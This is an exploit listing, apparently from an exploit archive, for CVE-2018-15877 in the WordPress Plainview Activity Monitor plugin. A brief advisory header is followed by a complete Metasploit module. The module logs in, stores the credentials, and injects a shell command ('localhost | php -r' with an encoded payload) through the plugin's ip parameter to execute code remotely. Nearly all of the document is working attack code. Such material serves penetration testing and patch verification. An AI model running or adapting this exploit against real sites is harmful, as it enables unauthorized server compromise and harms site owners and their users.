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WordPress Plainview Activity Monitor 20161228 Remote Command Execution

WordPress Plainview Activity Monitor 20161228 Remote Command Execution
Posted Nov 29, 2019
Authored by Leo LE BOUTER | Site metasploit.com

WordPress Plainview Activity Monitor plugin is vulnerable to OS command injection which allows an attacker to remotely execute commands on the underlying system. Application passes unsafe user supplied data to ip parameter into activities_overview.php. Privileges are required in order to exploit this vulnerability. Vulnerable plugin version: 20161228 and possibly prior. Fixed plugin version: 20180826.

tags | exploit, php
advisories | CVE-2018-15877
MD5 | 8bacd47eae727e0caea978775817a289

WordPress Plainview Activity Monitor 20161228 Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient

Rank = ExcellentRanking

def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress Plainview Activity Monitor RCE',
'Description' => %q{
Plainview Activity Monitor Wordpress plugin is vulnerable to OS
command injection which allows an attacker to remotely execute
commands on underlying system. Application passes unsafe user supplied
data to ip parameter into activities_overview.php.
Privileges are required in order to exploit this vulnerability.

Vulnerable plugin version: 20161228 and possibly prior
Fixed plugin version: 20180826
},
'Author' =>
[
'LydA(c)ric LEFEBVRE', # Vulnerability discovery
'Leo LE BOUTER', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2018-15877' ],
[ 'EDB', '45274' ],
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'BadChars' => '&>\'',
},
'Targets' => [['WordPress', {}]],
'DisclosureDate' => 'Aug 26 2018'
))

register_options(
[
OptString.new('USERNAME', [ true, "The user to authenticate as"]),
OptString.new('PASSWORD', [ true, "The password to authenticate with" ])
])

register_advanced_options(
[
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
])
end

def check
unless wordpress_and_online?
vprint_error("#{target_uri} does not seeem to be Wordpress site")
return CheckCode::Unknown
end
check_plugin_version_from_readme('plainview-activity-monitor', '20180826')
end

def exploit
check_code = check
unless check_code == CheckCode::Detected || check_code == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

user = datastore['USERNAME']
password = datastore['PASSWORD']

print_status("Trying to login...")
cookie = wordpress_login(user, password)
if cookie.nil?
fail_with(Failure::NoAccess, "#{peer} - Login wasn't successful")
end
print_good("Login Successful")
store_valid_credential(user: user, private: password, proof: cookie)

uri = normalize_uri(target_uri.path, 'wp-admin/admin.php')

vars_get = {
'page' => 'plainview_activity_monitor',
'tab' => 'activity_tools'
}

vars_post = {
'ip' => "localhost | php -r '#{payload.encoded}'",
'lookup' => 'Lookup',
'submit' => 'Submit request'
}

send_request_cgi(
'method' => 'POST',
'cookie' => cookie,
'uri' => uri,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
end

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